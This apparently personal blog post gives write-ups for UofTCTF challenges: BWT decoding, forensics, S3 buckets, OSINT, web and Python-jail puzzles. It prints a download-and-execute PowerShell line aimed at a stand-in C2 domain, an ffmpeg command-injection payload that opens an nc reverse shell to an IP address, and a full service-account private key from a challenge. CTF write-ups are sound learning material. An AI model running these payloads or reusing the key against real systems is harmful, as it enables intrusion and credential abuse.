2024-01-14


UofT CTF Writeups


CTF Writeups for GlacierCTF

Jeopardy CTF with local group from Braunschweig.

Challenges I solved

Wheel Barrow - Cryptography

The Challenge was pretty straight forward, you got a string:

hc0rhh3r3ylmsrwr___lsewt_03raf_rpetouin$_3tb0_t

Thats the flag, just with characters shuffled all over the place. A quick google search revealed that the characters were shuffled via a Burrow Wheeler Transformation. That transformation is reversable, there are plenty of algorithms available online, so that was a pretty quick win:


# Python program for the above approach
 
import string
 
# Structure to store info of a node of linked list
class Node:
    def __init__(self, data):
        self.data = data
        self.next = None
 
# Does insertion at end in the linked list
def addAtLast(head, nn):
    if head is None:
        head = nn
        return head
    temp = head
    while temp.next is not None:
        temp = temp.next
    temp.next = nn
    return head
 
# Computes l_shift[]
def computeLShift(head, index, l_shift):
    l_shift[index] = head.data
    head = head.next
 
# Compares the characters of bwt_arr[] and sorts them alphabetically
def cmpfunc(a, b):
    return ord(a) - ord(b)
 
def invert(bwt_arr):
    len_bwt = len(bwt_arr)
    sorted_bwt = sorted(bwt_arr)
    l_shift = [0] * len_bwt
 
    # Index at which original string appears
    # in the sorted rotations list
    x = 4
 
    # Array of lists to compute l_shift
    arr = [[] for i in range(128)]
 
    # Adds each character of bwt_arr to a linked list
    # and appends to it the new node whose data part
    # contains index at which character occurs in bwt_arr
    for i in range(len_bwt):
        arr[ord(bwt_arr[i])].append(i)
 
    # Adds each character of sorted_bwt to a linked list
    # and finds l_shift
    for i in range(len_bwt):
        l_shift[i] = arr[ord(sorted_bwt[i])].pop(0)
 
    # Decodes the bwt
    decoded = [''] * len_bwt
    for i in range(len_bwt):
        x = l_shift[x]
        decoded[len_bwt-1-i] = bwt_arr[x]
    decoded_str = ''.join(decoded)
 
    print("Burrows - Wheeler Transform:", bwt_arr)
    print("Inverse of Burrows - Wheeler Transform:", decoded_str[::-1])
 
# Driver program to test functions above
if __name__ == "__main__":
    bwt_arr = "hc0rhh3r3ylmsrwr___lsewt_03raf_rpetouin$_3tb0_t"
    invert(bwt_arr)
 
# This code is contributed by Prince

The output had an offset, but the flag was still readable:

uoftctf{th3_burr0w_wh33ler_transform_is_pr3tty_c00l_eh$}

No grep - Forensics

Filesystem that we had to browse. I found 2 really suspicious looking files:

  • C:\Windows\DiagTrack\Settings\settings.txt
Ky0tCiB1b2Z0Y3Rme1Q0c0tfU2NoM0R1bDNyX0ZVTn0KKy0t

That was just base64 encoded data, the challenge was just to find the file:

uoftctf{T4sK_Sch3Dul3r_FUN}


  • C:\Windows\Web\Wallpaper\Theme2\update.ps1

$String_Key = 'W0wMadeitthisfar'

$NewValue = '$(' + (([int[]][char[]]$String | ForEach-Object { "[char]$($_)" }) -join '+') + ')'

$chars = 34, 95, 17, 57, 2, 16, 3, 18, 68, 16, 12, 54, 4, 82, 24, 45, 35, 0, 40, 63, 20, 10, 58, 25, 3, 65, 0, 20

$keyAscii = $String_Key.ToCharArray() | ForEach-Object { [int][char]$_ }

$resultArray = $chars -bxor $keyAscii

IEX (Invoke-WebRequest -Uri 'https://somec2attackerdomain.com/chrome.exe' -UseBasicParsing).Content

The chars list contained the flag, I wrote a small python script to decipher it:

string_key = 'W0wMadeitthisfar'
string_key += string_key
print(len(string_key))

chars = [34, 95, 17, 57, 2, 16, 3, 18, 68, 16, 12, 54, 4, 82, 24, 45, 35, 0, 40, 63, 20, 10, 58, 25, 3, 65, 0, 20]
print(len(chars))

key_ascii = [ord(char) for char in string_key]

print(list(string_key))
print(key_ascii)

result_array = [a ^ b for a, b in zip(chars, key_ascii)]

res_dec = [chr(a) for a in result_array ]

print(result_array)
print(''.join(res_dec))
uoftctf{0dd_w4y_t0_run_pw5h}

EnableMe - Forensics

Challenge: A Word Document with a Macro inside:

Word Macro Editor

That was also really easy to solve, the macro decoded 2 arrays, one contained the flag, by altering the MsgBox code to show the other decoded string we got the flag:

uoftctf{d0cx_f1l35_c4n_run_c0de_t000}

Out of the Bucket (1 and 2) - Miscellaneous

Pretty weird challenge, you got access to an s3 bucket, and an xml:

<?xml version='1.0' encoding='UTF-8'?>
<ListBucketResult xmlns='http://doc.s3.amazonaws.com/2006-03-01'>
    <Name>out-of-the-bucket</Name>
    <Prefix></Prefix>
    <Marker></Marker>
    <IsTruncated>false</IsTruncated>
    <Contents>
        <Key>secret/</Key>
        <Generation>1703868492595821</Generation>
        <MetaGeneration>1</MetaGeneration>
        <LastModified>2023-12-29T16:48:12.634Z</LastModified>
        <ETag>"d41d8cd98f00b204e9800998ecf8427e"</ETag>
        <Size>0</Size>
    </Contents>
    <Contents>
        <Key>secret/dont_show</Key>
        <Generation>1703868647771911</Generation>
        <MetaGeneration>1</MetaGeneration>
        <LastModified>2023-12-29T16:50:47.809Z</LastModified>
        <ETag>"737eb19c7265186a2fab89b5c9757049"</ETag>
        <Size>29</Size>
    </Contents>
    <Contents>
        <Key>secret/funny.json</Key>
        <Generation>1705174300570372</Generation>
        <MetaGeneration>1</MetaGeneration>
        <LastModified>2024-01-13T19:31:40.607Z</LastModified>
        <ETag>"d1987ade72e435073728c0b6947a7aee"</ETag>
        <Size>2369</Size>
    </Contents>
    <Contents>
        <Key>src/</Key>
        <Generation>1703867253127898</Generation>
        <MetaGeneration>1</MetaGeneration>
        <LastModified>2023-12-29T16:27:33.166Z</LastModified>
        <ETag>"d41d8cd98f00b204e9800998ecf8427e"</ETag>
        <Size>0</Size>
    </Contents>
    <Contents>
        <Key>src/index.html</Key>
        <Generation>1703867956175503</Generation>
        <MetaGeneration>1</MetaGeneration>
        <LastModified>2023-12-29T16:39:16.214Z</LastModified>
        <ETag>"dc63d7225477ead6f340f3057263643f"</ETag>
        <Size>1134</Size>
    </Contents>
    <Contents>
        <Key>src/static/antwerp.jpg</Key>
        <Generation>1703867372975107</Generation>
        <MetaGeneration>1</MetaGeneration>
        <LastModified>2023-12-29T16:29:33.022Z</LastModified>
        <ETag>"cef4e40eacdf7616f046cc44cc55affc"</ETag>
        <Size>45443</Size>
    </Contents>
    <Contents>
        <Key>src/static/guam.jpg</Key>
        <Generation>1703867372954729</Generation>
        <MetaGeneration>1</MetaGeneration>
        <LastModified>2023-12-29T16:29:32.993Z</LastModified>
        <ETag>"f6350c93168c2955ceee030ca01b8edd"</ETag>
        <Size>48805</Size>
    </Contents>
    <Contents>
        <Key>src/static/style.css</Key>
        <Generation>1703867372917610</Generation>
        <MetaGeneration>1</MetaGeneration>
        <LastModified>2023-12-29T16:29:32.972Z</LastModified>
        <ETag>"0c12d00cc93c2b64eb4cccb3d36df8fd"</ETag>
        <Size>76559</Size>
    </Contents>
</ListBucketResult>

The first flag was just in one of the listed files that you could just download:

uoftctf{allUsers_is_not_safe}

The second flag was a little more hidden, we also got this json:

{
  "type": "service_account",
  "project_id": "out-of-the-bucket",
  "private_key_id": "21e0c4c5ef71d9df424d40eed4042ffc2e0af224",
  "private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDWxpWEDNiWgMzz\nxDDF64CspqiGPxkrHfhS4/PX8BrxNjUMPAH7vYHE3KbgQsmPhbCte9opnSLdMqec\nWjll8lRZGEy73xhWd2e3tVRAf53r+pW/p6MTOsz3leUkQAscG4hmOVOpGb1AkfuE\n62NErJVZIgQCowrBdFGbPxQc/IRQJKzrCFfKOWSHLvnngr4Ui5CSr6OM33dfpD+v\nQSLkEQheYCXmHwh/Wf8b27be+RzfOp/hOyjKsJOmDvFu2+rrx24t8hCptof3BYol\nUjpaiB8Qcct/HoKOEvZ/S5rW6toQizP8t4t7urC2i70JdH+Y4Qw/AZJNuLo/5wW1\n+x8i3FIDAgMBAAECggEABaGapVC06RVNdQ1tffL+d7MS8296GHWmX34B6bqDlP7S\nhenuNLczoiwVkAcQQ9wXKs/22Lp5rIpkd1FXn0MAT9RhnAIYdZlB4JY3iaK5oEin\nXn67Dt5Ze3BfBq6ghpx43L1KDUKogfs8jgVMoANVEyDfhrYsVQWDZ5T60QZp7bP2\n0zSDSACZpFzdf1vXzOhero8ykwM3keQiCIKWYkeMGsX8oHyWr1fz7AkU+pLciV67\nek10ItJUV70n2C65FgrW2Z1TpPKlpNEm8jQLSax9Bi89HuFEw8UjTfxKKzhLFXEu\nudtAyebt/PC4HS9FLBioo3bAy8vL3o00b7+raVyJQQKBgQD3IWaD5q5s7H0r10S/\n7IUhP1TDYhbLh7pupbzDGzu9wCFCMItwTEm9nYVNToKwV+YpeyoptEHQa4CAVp21\nO4+W7mBQgYemimjTtx1bIW8qzdQ9+ltQXyFAxj6m3KcuAsAzSpcHkbP46lCL5QoT\nTS6T06Fs4xvnTKtBdPeisSgiIwKBgQDee+mp5gsk8ynnp6fx0/liuO3AZxpTYcP8\nixaXLQI6CI4jQP2+P+FWNCTmEJxMaddXNOmmTaKu25S2H0KKMiQkQPuwBqskck3J\npVTHudnUuZAZWE7YPg40MJgg5OQhMVwiqGWL76FT2bubIdNm4LQyxvDeK82XQYl8\nszeOXfJeoQKBgGQqSoXdwwbtF5Lkbr4nnJIsPCvxHvIhskPUs1yVNjKjpBdS28GJ\nej37kaMS1k+pYOWhQSakJCTY3b2m3ccuO/Xd6nXW+mdbJD/jsWdVdtxvjr4MMmSy\nGiVJ9Ozm9G/mt4ZSjkKIIN0cA8ef7uSB3QYXug8LQi0O2z7trM1pZq3nAoGAMPhD\nOSMqRsrC6XtMivzmQmWD5zqKX9oAAmE26rV8bPufFYFjmHGFDq1RhdYYIPWW8Vnz\nJ6ik6ynntKJyyeo5bEVlYJxHJTGHj5+1ZnSwzpK9dearDAu0oqYjhfH7iJbNuc8o\n8sEe2E7vbTjnyBgjcZ26PJyVlvpU4b6stshU5aECgYEA7ZESXuaNV0Er3emHiAz4\noEStvFgzMDi8dILH+PtC3J2EnguVjMy2fceQHxQKP6/DCFlNqf9KUNqJBKVGxRWP\nIM1rcoAmf0sGQ5gl1B1K8PidhOi3dHF0nkYvivuMoj7sEyr9K88y69kdpVJ3J556\nJWqkWLCz8hx+LcQPfDJu0YE=\n-----END PRIVATE KEY-----\n",
  "client_email": "image-server@out-of-the-bucket.iam.gserviceaccount.com",
  "client_id": "102040203348783466577",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://oauth2.googleapis.com/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/image-server%40out-of-the-bucket.iam.gserviceaccount.com",
  "universe_domain": "googleapis.com"
}

With that we could authenticate and download all the buckets contents, I wrote this script for that:

from ast import ExceptHandler
from google.cloud import storage

# Set the environment variable
import os

os.environ["GOOGLE_APPLICATION_CREDENTIALS"] = "key.json"

def download_blob(bucket_name, source_blob_name, destination_file_name):
    """Downloads a blob from the bucket."""
    # The ID of your GCS bucket
    # bucket_name = "your-bucket-name"

    # The ID of your GCS object
    # source_blob_name = "storage-object-name"

    # The path to which the file should be downloaded
    # destination_file_name = "local/path/to/file"

    storage_client = storage.Client()

    bucket = storage_client.bucket(bucket_name)

    # Construct a client side representation of a blob.
    # Note `Bucket.blob` differs from `Bucket.get_blob` as it doesn't retrieve
    # any content from Google Cloud Storage. As we don't need additional data,
    # using `Bucket.blob` is preferred here.
    blob = bucket.blob(source_blob_name)
    blob.download_to_filename(destination_file_name)

    print(
        "Downloaded storage object {} from bucket {} to local file {}.".format(
            source_blob_name, bucket_name, destination_file_name
        )
    )

def list_buckets():
    """Lists all buckets."""

    storage_client = storage.Client()
    buckets = storage_client.list_buckets()

    for bucket in buckets:
        print(bucket.name)

def list_blobs(bucket_name):
    """Lists all the blobs in the bucket."""
    # bucket_name = "your-bucket-name"

    storage_client = storage.Client()

    # Note: Client.list_blobs requires at least package version 1.17.0.
    blobs = storage_client.list_blobs(bucket_name)

    # Note: The call returns a response only when the iterator is consumed.
    for blob in blobs:
        print(blob.name)
        try:
          download_blob(bucket_name,blob.name,os.path.basename(blob.name))
        except Exception as e:
            print("error {}".format(e))

# Create a client using the service account key
client = storage.Client()
list_buckets()
list_blobs("out-of-the-bucket")
list_blobs("flag-images")

The file xa.png had the flag inside it.

uoftctf{s3rv1c3_4cc0un75_c4n_83_un54f3}

Flying High - OSINT

We got this picture:

Were is this?

Challenge: Get the 3 letter IATA code for the airport, the airline and the aircraft model and variant.

UofTCTF{AIRPORT_AIRLINE_AIRCRAFT}.

The Colors on the back of the airplane revealed that the plane is owned by: Iberia Líneas Aéreas de España.

The "Novespace" Building is at the Bordeaux-Mérignac Airport.

Going through the fleet of Iberia Líneas Aéreas de España with a little trial and error got us the flag:

UofTCTF{BOD_Iberia_A340-600}

Voice Changer - Web

Web service that pitched the soundfile that you sent.

The website

The pitch value just gets pasted into the ffmpeg command:

RCE

Because the command itself is a bash command we can inject the command to run any shell command we want, for example also a revshell:

Revshell exploit
";`nc 195.201.219.133 9004 -e sh;`#

Through that I could navigate through the remote server and get the flag:

Flag

Guestbook - Web

Weird challenge, Google offers "scripts" that can be called via urls. Thats what the challenge was about, users could submit guestbook entries via a google script, these were stored into a google sheet called "raw".

Raw Sheet

This sheet was not readable by default, so we had no access.

Only access to filtered

By copying the whole sheet to our own personal google account, the raw sheet was suddenly accessible:

Accessible

Challenges Teammates solved

Zero - Jail



def check(code):
    # no letters
    alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    # no numbers
    numbers = "0123456789"
    # no underscores
    underscore = "__"
    
    return not any((c in alphabet) or (c in numbers) or (underscore in code) for c in code)

def safe_eval(code):
    if (check(code)):
        g = {'__builtins__': None}
        l = {'__builtins__': None}
        return print(eval(code, g, l )) # good luck!
    else:
        print("lol no")
        
code = input(">>> ")
safe_eval(code)

This code removes all builtins, forbids all alphanumeric characters and double underscores "__".

Multiple steps were necessary to make it work:

  • Restore builtins via this trick
  • Replace characters by wide characters, python converts them back into normal characters.
  • Replace numbers by adding booleans together ((''=='')+(''==''))
Jailbreak